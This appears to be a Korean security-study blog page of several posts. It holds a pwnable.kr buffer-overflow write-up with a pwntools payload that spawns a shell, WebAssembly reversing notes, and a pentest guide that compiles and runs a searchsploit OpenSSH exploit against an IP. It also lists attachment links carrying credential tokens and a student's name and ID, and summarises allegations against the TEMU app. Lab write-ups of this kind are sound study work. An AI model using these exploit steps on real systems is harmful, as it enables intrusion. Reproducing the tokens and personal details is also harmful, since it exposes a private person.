이름부터 bof이다
코드 보자
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
key값이 0xdeadbeef로 들어갔는데 bof로 이부분을 0xcafebabe로 바꿔주면 /bin/sh가 실행되어 끝나는 문제이다
(한 문장이 되게 길다)
스택 프레임부터 파악해보도록 하자

cmp로 ebp+0x8과 0xcafebabe를 비교하고 있다 -> ebp+0x8이 key 위치
gets 전 인자 호출을 보면 lea eax, [ebp-0x2c] 이므로 ebp-0x2c가 overflowme 위치
정리하면..
ebp-0x48 (sub esp, 0x48을 빼줌)
ㄴ 거기서 ebp-0xc도 있고 -> 12 bytes
ㄴ 거기서 0x2c도 있음 -> 이건 overflowme -> 32 bytes, 0x2c인 이유는 12+32이니까
ㄴ 나머진 몰?루
ebp(sfp) -> 86이니까 4bytes
ret(함수호출규약에 의해 stack에 꼭 존재) -> 86이니까 4bytes
ebp+0x8 -> key
설명이 더러우니까 표로 깔끔하게 정리하면…
| 스택은 아래서 위로 |
|
|
| sub esp, 0x48 |
ebp-0x48 |
더미 |
| |
ebp-0x2c |
overflowme 32 bytes |
| |
ebp-0xc |
더미 12 bytes |
| |
ebp(sfp) |
4 bytes |
| |
ret (func) |
4 bytes |
| |
ebp+0x8 (인자니까 ret전에) |
key 8 bytes 리틀엔디언 지켜서 \xbe\xba\xfe\xca |
4+4+12+32 52 bytes로 채우고 \xbe\xba\xfe\xca
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca
pwntools와 친숙해져야 하니까 간단하게 작성해보자..
from pwn import *
p=remote('pwnable.kr',9000)
payload=b'A'*52+b'\xbe\xba\xfd\xca'
p.sendline(payload)
p.interactive()
뭐지 왜 안되지 했는데 flag가 그냥 daddy~였다
대놓고 웹어셈블리에 대한 문제라고 명시해놨다


<!doctype html>
<html lang="en-US">
<head>
<meta charset="utf-8" />
<title>Wasm rev for beginners</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css" />
</head>
<body>
<main class="container">
<form onsubmit="return false;">
<fieldset>
<label for="input"> Input </label>
<input name="input" id="input" placeholder="Put your flag here" required>
</fieldset>
<input type="button" id="check_button" value="Check!">
</form>
</main>
<script type="module">
import init, { check } from "./pkg/challenge.js";
await init();
document.getElementById('check_button').addEventListener('click', function() {
check(document.getElementById('input').value);
});
</script>
</body>
</html>
script를 따라 pkg/challenge.js로 가보면… 뭐 길게 js 코드가 있다.
일단 문제설명에 있는 WASM 링크 먼저 공부하고 다시 봐야할 거 같다
웹어셈블리란? 프로그래밍 언어와 실행 환경 사이 중간 계층…?
여러 언어로 작성된 코드를 .wasm 파일로 컴파일하면 브라우저 등에서 실행 가능 ㄷ
대충 머 C파일 -> wasm거치면 -> 웹브라우저에서도 실행가능 한 줄 요약인 거 같다
초기에 웹에서 코드를 빠르게 실행하기 위해 개발됨
import init, { check } from "./pkg/challenge.js";
이므로 pkg/challenge.js에서 check 함수만 우선적으로 보자
MDN WebAssembly JavaScript API
HTML 파일에 <script></script> 요소를 만들고
var importObject = {
imports: { imported_func: (arg) => console.log(arg) },
};
/**
* @param {string} flag
*/
export function check(flag) {
const ptr0 = passStringToWasm0(flag, wasm.__wbindgen_malloc, wasm.__wbindgen_realloc);
const len0 = WASM_VECTOR_LEN;
wasm.check(ptr0, len0);
}
passStringToWasm0
function passStringToWasm0(arg, malloc, realloc) {
if (realloc === undefined) {
const buf = cachedTextEncoder.encode(arg);
const ptr = malloc(buf.length, 1) >>> 0;
getUint8Memory0().subarray(ptr, ptr + buf.length).set(buf);
WASM_VECTOR_LEN = buf.length;
return ptr;
}
let len = arg.length;
let ptr = malloc(len, 1) >>> 0;
const mem = getUint8Memory0();
let offset = 0;
for (; offset < len; offset++) {
const code = arg.charCodeAt(offset);
if (code > 0x7F) break;
mem[ptr + offset] = code;
}
if (offset !== len) {
if (offset !== 0) {
arg = arg.slice(offset);
}
ptr = realloc(ptr, len, len = offset + arg.length * 3, 1) >>> 0;
const view = getUint8Memory0().subarray(ptr + offset, ptr + len);
const ret = encodeString(arg, view);
offset += ret.written;
ptr = realloc(ptr, len, offset, 1) >>> 0;
}
WASM_VECTOR_LEN = offset;
return ptr;
}
자세히 보진 않았지만 뭔가 처리하고 wasm으로 보내는.. 고런 거 같다
대충 js에서 받은 거 -> 뭔가 메모리 할당, 재할당 하고 -> wasm에서 맞는지 check하는..

online 사이트로 wat 변환 했는데
음 클론해서 디컴파일을 써보는 게 나을 거 같다

설치가 안된다
아마.. WSL이라서 그런 거 같은데 vm으로 다시 시도해봐야 할 거 같다..
모의침투 테스트에서 타겟의 OS를 알아내는 것과 potential 취약점을 발견하는 건 중요한 단계입니다.
이 글에서는 Nmap으로 OS detection을 하고 Searchsploit으로 exploits based on detected vulnerabilities, including CVEs를 다룹니다.
- Using Nmap for OS Detection
-O 옵션으로 Nmap을 사용하면 detect 가능
- Scanning for Vulnerabilities with Nmap Scripts
sudo nmap --script vuln <target-ip>

- Using Searchsploit to Find Exploits
위 steps에서 potential vulnerabilities를 찾았다면 searchsploit을 사용합니다.
searchsploit <service> <version>
예시로…
입력하면…
----------------------------------------- ----------------------------------------
Exploit Title | Path
----------------------------------------- ----------------------------------------
OpenSSH 7.2p1 - (Ubuntu 16.04.1) 'Accepted | /path/to/exploit.c
----------------------------------------- ----------------------------------------
위까지 툴을 썼고.. 이제 copy 후 compile, exec
cp /usr/share/exploitdb/exploits/linux/remote/40962.c .
gcc 40962.c -o openssh_exploit
./openssh_exploit 192.168.1.10 22
Here are the files related to the GURU 2 android course assignments:
-
myfile.pdf - Size: 3.30MB
-
[GURU2 android 3주차 과제_2023111394육은서 (1).docx](https://blog.kakaocdn.net/dna/dHrBvw/btsI3i4wxbo/AAAAAAAAAAAAAAAAAAAAACi4rgoihR3dK8lZs60P_R46Cp8h59LyEXFLmiQ7CDSF/GURU2%20android%203%EC%A3%BC%EC%B0%A8%20%EA%B3%BC%EC%A0%9C_2023111394%EC%9C%A1%EC%9D%80%EC%84%9C%20(1).docx?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=Odfo7g434zAbA192hV1bIuYae44%3D&attach=1&knm=tfile.docx) - Size: 0.81MB
-
[GURU2 android 2주차 과제_2023111394육은서.pdf](https://blog.kakaocdn.net/dna/KGtU4/btsI3hxMHGg/AAAAAAAAAAAAAAAAAAAAAMNjZTMqA8HvTa4nmfVTEZbyRZBSTt3hWqI-GqNYlwDv/GURU2%20android%202%EC%A3%BC%EC%B0%A8%20%EA%B3%BC%EC%A0%9C_2023111394%EC%9C%A1%EC%9D%80%EC%84%9C.pdf?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=4iKVqvxmyfQitiPlIVo4VYgy3e4%3D&attach=1&knm=tfile.pdf) - Size: 4.46MB
-
[GURU2 android 1주차 과제_2023111394육은서 (1).pdf](https://blog.kakaocdn.net/dna/lzlnm/btsI3MdgEUY/AAAAAAAAAAAAAAAAAAAAAJe-P4GN-A-a3h06FtHckd5TeZvO2ve8FJHd1VJxAfVO/GURU2%20android%201%EC%A3%BC%EC%B0%A8%20%EA%B3%BC%EC%A0%9C_2023111394%EC%9C%A1%EC%9D%80%EC%84%9C%20(1).pdf?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=pRKUw7druJykyerb1JVwbEh5M9U%3D&attach=1&knm=tfile.pdf) - Size: 0.40MB
-
2024 하계 GURU2 android- 6조 admap.zip - Size: 0.63MB
해당 보고서는 원고의 주장에 뒷받침된 자료이다. TEMU의 앱이 악성행위를 하고 사용자의 정보들을 몰래 무단 수집한다고 주장하는 글이다.
비지니스 모델 구조 상 가격이 싼 중국 쇼핑 앱은 지속 가능성이 부족 -> 손실이 있을 수밖에 없음. 그렇다면 TEMU는 어디서 수익을 얻을까? -> 불법적 데이터 거래 의심.
TEMU의 위험성
외부 디바이스 데이터 호출과 개인정보에 접근하는 기능이 포함되었는지에 대한 표
-> TEMU는 all YES (2023.8.30 기준의 앱 버전 1.99)
앱 소프트웨어 분석
분석 내용
- 앱 스토어 정책을 위반하는 코드 혹은 구성 요소가 있는가?
- 개인 정보에 접근하거나 악성 행위를 하는 시스템 호출이 있는가?
- 과도한 난독화나 은닉이 있는가?
분석 결과 1. runtime.exec() 사용
위 함수를 사용해서 동적 컴파일 진행.
runtime.exec() 함수로 패키지 compile 호출 -> 위 사진 25,53줄 참고.
프로세스 내부에서 컴파일을 진행함으로써 보안 검사 일차적 회피 (동적 프로세스라 탐지가 어려움).
분석 결과 2. android.permission 항목 참조
안전한 표준 라이브러리에서 발생하는 경우를 제외한 android.permission 항목이 참조됨.
안드로이드에서는 필요한 권한은 Manifest에 명시해둠.
하지만, TEMU는 Manifest에 언급하지 않은 권한 존재:
CAMERA, RECORD_AUDIO, WRITE_EXTERNAL_STORAGE, INSTALL_PACKAGES, and ACCESS_FINE_LOCATION.
스파이웨어가 다룰 가능성이 높은 권한들.
분석 결과 3. 위치 권한 요청
superuser 권한 및 로그 파일을 참조하여 사용자 기기의 모든 파일에 대한 정보를 취득.
즉, 특정 Android 버전에서는 chat logs, images, user content on other apps 등 데이터 읽기, 처리, 수정 가능.
3a) 그들의 API ‘us.temu.com’과 연결되는 명령 서버 존재.
그리고 그 서버를 기반으로 한 file upload 기능 존재.
사용자가 TEMU 앱에 파일 저장 권한 부여 시, TEMU는 사용자 기기 내 파일을 원격 수집 가능.
3b) 상품 이미지 검색 -> 카메라 접근 권한인 척 위치 권한 요청(FINE_PERMISSION).

분석 결과 4. ACCESS_FINE_LOCATION
안드로이드에서는 위치 관련 기능이 ACCESS_COARSE_LOCATION과 ACCESS_FINE_LOCATION이 있다.
전자는 개인정보 침해를 하지 않으면서 적절한 수준의 위치 데이터 수집을 허락하고 후자는 더 자세한 위치 데이터를 제공한다.
때문에 안드로이드에서 사용을 자제한다(지도 앱 제외).
그러나 해당 함수가 디컴파일된 코드에 내장되어 있었다. 정확한 수집 가능 시기(앱의 ON/OFF 등)는 안드로이드 버전, 부여된 권한 등 여러 변수가 있다.

분석 결과 5. Root Access, Debug check
TEMU는 디바이스에 “루트” 액세스 권한이 있는지 check하고 실행중인 디버거가 있는지 check한다.
쇼핑 앱에 이러한 코드가 들어있다는 건 상당히 의심되는 부분.
분석 결과 6. User’s System Logs
시스템 로그 파일은 기기의 모든 프로세스에 대한 기록이 남겨져 있는 파일.
오류나 경고 등 모든 프로세스 정보가 담겨 있음. TEMU는 앱 범위를 벗어난 사용자 시스템 로그 열람 -> 심각한 개인정보 침해 우려.

분석 결과 7. User’s System Logs
MAC 주소 및 기타 장치 정보를 요청 -> JSON 객체에 삽입하여 서버로 전송.
쇼핑 앱에 고객 디바이스의 기술적 세부 정보 데이터베이스가 필요?
MAC 주소: 모든 네트워크에 있는 모든 디바이스의 글로벌 고유 식별자 -> 서버와 통신할 때 특정 디바이스의 특정 사용자에게 정보와 소스 코드 전송 가능.
